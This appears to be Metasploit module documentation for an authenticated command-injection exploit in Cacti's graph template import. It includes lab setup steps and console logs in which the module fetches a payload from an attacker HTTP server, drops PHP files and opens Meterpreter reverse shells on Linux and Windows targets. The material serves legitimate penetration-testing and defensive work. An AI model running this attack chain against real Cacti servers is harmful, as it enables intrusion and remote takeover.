Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
10 KiB
Vulnerable Application
This module exploits an authenticated remote code execution vulnerability affecting Cacti versions prior to 1.2.29. Authenticated users can upload a graph template through the /graph_templates.php endpoint, where the right_axis_label parameter is susceptible to command injection. This flaw allows attackers to execute arbitrary commands on the affected system.
Because the injection point imposes a payload length limitation, the module stages the attack by hosting the full payload on an attacker-controlled HTTP server. The initial command retrieves the secondary payload using curl, writes it to the Cacti web root, and executes it.
Installation
Docker installation of Cacti version 1.2.28
- Create the following files (based on the files from here):
docker-compose.yml:
version: '2'
services:
web:
build: ./cacti
ports:
- "8080:80"
depends_on:
- db
entrypoint:
- bash
- /entrypoint.sh
volumes:
- ./entrypoint.sh:/entrypoint.sh
command: apache2-foreground
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=cacti
entrypoint.sh:
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
- Create a
./cacti/directory withmkdir cacti - Add the following files in the
./cacti/folder (based on the files from here:Dockerfile:
FROM php:7.4-apache
RUN apt-get update && \
apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev
RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
docker-php-ext-configure intl &&\
docker-php-ext-configure pcntl --enable-pcntl &&\
docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext
RUN mkdir /var/www/html/cacti &&\
wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.28.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1
COPY config.php /var/www/html/cacti/include/config.php
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
cacti.ini
display_errors=off
memory_limit=512M
date.timezone=UTC
max_execution_time=120
config.php
<?php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
$poller_id = 1;
$url_path = '/cacti/';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
- Run
docker-compose up - Access http://127.0.0.1:8080/cacti
- Login with the
adminuser (password:admin) - Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)
Note that other versions can be installed this way by changing the tar file name in Dockerfile (cacti-1.2.28.tar.gz).
Cacti on Windows
Download and run a Cacti installer from here. The admin password should be put in a file called Cacti-Passwords.txt by the installer, which is in the same location the installer was run.
Follow the same installation steps as for the Docker installation.
Setup a new user
- Login with the
adminuser (password:admin) - Go to
Configuration>Users - Click on the
+sign - Enter the
User Name,Passwordand check theEnabledoption. - Click
Create - Go to the
Permissionstab and set theImport Templatespermission inTemplate Editor - Click
Save
Verification Steps
- Install the application
- Start msfconsole
- Do:
use linux/http/cacti_graph_template_rce - Do:
set target <target> - Do:
run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password> - You should get a shell.
Options
USERNAME
The user to login with (default admin).
PASSWORD
The password to login with (default admin)
Scenarios
Linux target Cacti 1.2.28
msf exploit(linux/http/cacti_graph_template_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.136 rport=8080 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=admin
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:4444
msf exploit(linux/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/y
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.136 cacti_graph_template_rce - Request 'GET /y'
[*] 172.16.199.136 cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/X.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (3090404 bytes) to 172.16.199.136
[+] Deleted X.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.136:44642) at 2025-12-21 23:27:10 -0800
msf exploit(linux/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
sysServer username: www-data
infometerpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 11.5 (Linux 6.8.0-90-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > exit
PHP target Cacti 1.2.28
msf exploit(linux/http/cacti_graph_template_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > set target 1
target => 1
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.136 rport=8080 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=admin
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:4444
msf exploit(linux/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/k
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.136 cacti_graph_template_rce - Request 'GET /k'
[*] 172.16.199.136 cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/B.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (41224 bytes) to 172.16.199.136
[+] Deleted B.php
[+] Deleted f.php
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.136:46294) at 2025-12-21 23:40:26 -0800
[*] Server stopped.
msf exploit(linux/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 6e0f5eba525a
OS : Linux 6e0f5eba525a 6.8.0-90-generic #91~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 15:20:45 UTC 2 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
meterpreter >
Windows Command Target Cacti 1.2.27
msf exploit(linux/http/cacti_graph_template_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > set target 2
target => 2
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.131 rport=80 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=ceb045830c850c4
msf exploit(multi/http/cacti_graph_template_rce) > rexploit
[*] Reloading module...
[*] Exploit running as background job 132.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:8477
msf exploit(multi/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.27
[*] Attempting login with user `admin` and password `ceb045830c850c4`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/g
[*] win command cmd\x20/c\x20r.bat
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.141 cacti_graph_template_rce - Request 'GET /g'
[*] 172.16.199.141 cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/d.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (230982 bytes) to 172.16.199.141
[+] Deleted d.php
[+] Deleted t.php
[*] Meterpreter session 5 opened (172.16.199.1:8477 -> 172.16.199.141:53031) at 2025-12-22 19:15:00 -0800
msf exploit(multi/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 5...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
[*] Server stopped.
meterpreter > sysinfo
Computer : DESKTOP-0OPTL76
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >